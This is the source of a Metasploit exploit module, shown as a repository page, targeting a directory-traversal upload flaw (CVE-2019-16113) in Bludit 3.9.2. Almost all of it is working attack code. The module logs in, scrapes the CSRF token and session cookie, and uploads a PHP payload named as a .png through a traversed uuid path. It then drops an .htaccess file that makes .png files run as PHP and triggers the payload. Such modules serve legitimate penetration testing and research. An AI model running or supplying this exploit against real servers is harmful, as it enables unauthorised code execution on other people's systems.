Path: blob/master/modules/exploits/linux/http/bludit_upload_images_exec.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::PhpEXE10include Msf::Exploit::FileDropper11include Msf::Auxiliary::Report1213def initialize(info = {})14super(15update_info(16info,17'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",18'Description' => %q{19This module exploits a vulnerability in Bludit. A remote user could abuse the uuid20parameter in the image upload feature in order to save a malicious payload anywhere21onto the server, and then use a custom .htaccess file to bypass the file extension22check to finally get remote code execution.23},24'License' => MSF_LICENSE,25'Author' => [26'christasa', # Original discovery27'sinn3r' # Metasploit module28],29'References' => [30['CVE', '2019-16113'],31['URL', 'https://github.com/bludit/bludit/issues/1081'],32['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]33],34'Platform' => 'php',35'Arch' => ARCH_PHP,36'Notes' => {37'SideEffects' => [ IOC_IN_LOGS ],38'Reliability' => [ REPEATABLE_SESSION ],39'Stability' => [ CRASH_SAFE ]40},41'Targets' => [42[ 'Bludit v3.9.2', {} ]43],44'Privileged' => false,45'DisclosureDate' => "2019-09-07",46'DefaultTarget' => 047)48)4950register_options(51[52OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),53OptString.new('BLUDITUSER', [true, 'The username for Bludit']),54OptString.new('BLUDITPASS', [true, 'The password for Bludit'])55]56)57end5859class PhpPayload60attr_reader :payload61attr_reader :name6263def initialize(p)64@payload = p65@name = "#{Rex::Text.rand_text_alpha(10)}.png"66end67end6869class LoginBadge70attr_reader :username71attr_reader :password72attr_accessor :csrf_token73attr_accessor :bludit_key7475def initialize(user, pass, token, key)76@username = user77@password = pass78@csrf_token = token79@bludit_key = key80end81end8283def check84res = send_request_cgi({85'method' => 'GET',86'uri' => normalize_uri(target_uri.path, 'index.php')87})8889unless res90vprint_error('Connection timed out')91return CheckCode::Unknown92end9394html = res.get_html_document95generator_tag = html.at('meta[@name="generator"]')96unless generator_tag97vprint_error('No generator metadata tag found in HTML')98return CheckCode::Safe99end100101content_attr = generator_tag.attributes['content']102unless content_attr103vprint_error("No content attribute found in metadata tag")104return CheckCode::Safe105end106107if content_attr.value == 'Bludit'108return CheckCode::Detected109end110111CheckCode::Safe112end113114def get_uuid(login_badge)115print_status('Retrieving UUID...')116res = send_request_cgi({117'method' => 'GET',118'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),119'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"120})121122unless res123fail_with(Failure::Unknown, 'Connection timed out')124end125126html = res.get_html_document127uuid_element = html.at('input[@name="uuid"]')128unless uuid_element129fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')130end131132uuid_val = uuid_element.attributes['value']133unless uuid_val && uuid_val.respond_to?(:value)134fail_with(Failure::Unknown, 'No UUID value')135end136137uuid_val.value138end139140def upload_file(login_badge, uuid, content, fname)141print_status("Uploading #{fname}...")142143data = Rex::MIME::Message.new144data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")145data.add_part(uuid, nil, nil, 'form-data; name="uuid"')146data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')147148res = send_request_cgi({149'method' => 'POST',150'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),151'ctype' => "multipart/form-data; boundary=#{data.bound}",152'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",153'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },154'data' => data.to_s155})156157unless res158fail_with(Failure::Unknown, 'Connection timed out')159end160end161162def upload_php_payload_and_exec(login_badge)163# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/164# To: /var/www/html/bludit/bl-content/tmp165uuid = get_uuid(login_badge)166php_payload = get_php_payload167upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)168169# On the vuln app, this line occurs first:170# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);171# Even though there is a file extension check, it won't really stop us172# from uploading the .htaccess file.173htaccess = <<~HTA174RewriteEngine off175AddType application/x-httpd-php .png176HTA177upload_file(login_badge, uuid, htaccess, ".htaccess")178register_file_for_cleanup('.htaccess')179180print_status("Executing #{php_payload.name}...")181send_request_cgi({182'method' => 'GET',183'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)184})185end186187def get_php_payload188@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))189end190191def get_login_badge(res)192cookies = res.get_cookies193bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''194195html = res.get_html_document196csrf_element = html.at('input[@name="tokenCSRF"]')197unless csrf_element198fail_with(Failure::Unknown, 'No tokenCSRF found')199end200201csrf_val = csrf_element.attributes['value']202unless csrf_val && csrf_val.respond_to?(:value)203fail_with(Failure::Unknown, 'No tokenCSRF value')204end205206LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)207end208209def do_login210res = send_request_cgi({211'method' => 'GET',212'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')213})214215unless res216fail_with(Failure::Unknown, 'Connection timed out')217end218219login_badge = get_login_badge(res)220res = send_request_cgi({221'method' => 'POST',222'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),223'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",224'vars_post' =>225{226'tokenCSRF' => login_badge.csrf_token,227'username' => login_badge.username,228'password' => login_badge.password229}230})231232unless res233fail_with(Failure::Unknown, 'Connection timed out')234end235236# A new csrf value is generated, need to update this for the upload237if res.headers['Location'].to_s.include?('/admin/dashboard')238store_valid_credential(user: login_badge.username, private: login_badge.password)239res = send_request_cgi({240'method' => 'GET',241'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),242'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",243})244245unless res246fail_with(Failure::Unknown, 'Connection timed out')247end248249new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first250login_badge.csrf_token = new_csrf if new_csrf251return login_badge252end253254fail_with(Failure::NoAccess, 'Authentication failed')255end256257def exploit258login_badge = do_login259print_good("Logged in as: #{login_badge.username}")260upload_php_payload_and_exec(login_badge)261end262end263264265